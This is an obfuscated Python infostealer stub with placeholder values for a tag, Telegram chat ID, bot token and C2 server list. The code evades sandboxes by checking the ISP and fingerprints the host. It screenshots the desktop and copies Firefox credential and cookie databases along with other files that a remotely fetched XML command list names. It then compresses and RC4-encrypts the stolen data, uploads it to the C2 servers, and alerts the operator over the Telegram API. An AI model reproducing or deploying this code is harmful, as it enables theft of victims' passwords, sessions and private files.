Y=range
X=filter
P='/'
O='utf-8'
N='GET'
M=True
L=print
C=dict
G=Exception
from glob import glob as H
from time import time
from io import BytesIO as Z
from gzip import compress as a
from getpass import getuser as D
from json import dump,dumps
from base64 import b64encode as b
from tempfile import gettempdir as Q
from urllib3 import PoolManager as F
from xml.etree import ElementTree as R
from urllib.parse import urlencode as c
from platform import node as E,platform as I
from os import path as A,makedirs as S,remove as d
from secrets import token_hex as T,token_bytes as e
from shutil import copy,make_archive as f,rmtree as g
try:from PIL import ImageGrab as h
except ImportError:U=False
else:U=M
if'linux'not in I().lower():exit(1)
V='[TAG]'
i='[CHATID]'
j='[TOKEN]'
k='[COMMANDS]'
l='[STUB_VERSION]'
m='''[C2_LIST]'''.splitlines()
B=A.join(Q(),T(8))
S(B,exist_ok=M)
n=['key4.db','logins.json','cookies.sqlite']
W=lambda p:list(X(lambda ex:A.exists(ex),map(lambda e:A.expanduser(e),p)))
def o(key,data):
	A=list(Y(256));C=0;D=bytearray()
	for B in Y(256):C=(C+A[B]+key[B%len(key)])%256;A[B],A[C]=A[C],A[B]
	B=C=0
	for E in data:B=(B+1)%256;C=(C+A[B])%256;A[B],A[C]=A[C],A[B];D.append(E^A[(A[B]+A[C])%256])
	return bytes(D)
def p():
	try:M=F();P=M.request(N,'http://ip-api.com/line?fields=query,isp')
	except G as H:L(H);J,K='127.0.0.1','Unknown'
	else:
		J,K=P.data.decode(O).strip().split('\n')
		for Q in['google','mythic beasts']:
			if Q in K.lower():exit(5)
	try:
		C=Z()
		if U:R=h.grab();R.save(C,format='png')
		C=b(C.getvalue()).decode()
	except G as H:L(H);C=''
	with open(A.join(B,'system.json'),'w')as S:dump({'Screenshot':C,'Username':D(),'Compname':E(),'OS':I(),'Tag':V,'IP':J,'Stub version':l,'Execution timestamp':time()},S)
def J(location,patterns,output):
	E=output;D=location
	for C in patterns:
		if P in C:
			B=A.dirname(C);G=A.basename(C)
			if'*'in B or'?'in B:
				try:B=H(A.join(D,B))[0]
				except:pass
			J(location=A.join(D,B),patterns=[G],output=A.join(E,A.basename(B)))
		else:
			for F in H(A.join(D,C)):
				if A.isfile(F):S(E,exist_ok=M);copy(F,A.join(E,A.basename(F)))
def q(commands):
	M='.zip';C=commands
	if C.startswith('http'):
		try:P=F();S=P.request(N,C);C=S.data.decode(O).strip()
		except G:C=''
	U=R.ElementTree(R.fromstring(C));V=U.getroot()
	for D in V[0]:
		L=int(D.get('name'))
		if L==0:
			Y=W(D[0][0].text.split(';'));Z=D[0][1].text.split(';');a=A.join(B,D[0][2].text)
			for b in Y:J(b,Z,a)
		elif L==2:
			for c in D[0]:
				for e in W([c.text]):
					for I in X(lambda p:A.exists(A.join(p,'prefs.js')),H(A.join(e,'*.*'))):E=A.basename(A.dirname(I)).title();E=E[1:]if E[0]=='.'else E;h=A.basename(I);J(location=I,patterns=n,output=A.join(B,'Browsers',E,h))
	K=A.join(Q(),T(8));f(K,'zip',B);g(B)
	with open(K+M,'rb')as i:j=i.read()
	d(K+M);return j
def r(buffer):A=e(16);B=a(buffer);C=o(A,B);return b'LWSR$'+C+A
def s(buffer):
	K=buffer
	for A in m:
		try:
			A=A+P if not A.endswith(P)else A;B=A+f"{D()}@{E()}.wsr";H=F(timeout=1e1);M=H.request('PUT',B,body=K);J=M.data.decode(O).replace(A,A+'get/')
			if'<'in J:continue
		except G as Q:L(Q);continue
		else:break
	B=c(C(chat_id=i,text='\n#{0}\n\n<b>OS:</b> <i>{1}</i>\n<b>Username:</b> <i>{2}</i>\n<b>Compname:</b> <i>{3}</i>\n<b>Report size:</b> <i>{4}Mb</i>\n'.format(V,I(),D(),E(),round(len(K)/(1024*1024),2)),parse_mode='HTML',reply_markup=dumps(C(inline_keyboard=[[C(text='Download',url=J),C(text='Open',url='http://127.0.0.1:18772/handleOpenWSR?r='+J)]]))));B='https://api.telegram.org/bot{0}/sendMessage?{1}'.format(j,B);H=F();H.request(N,B)
p()
K=q(k)
K=r(K)
s(K)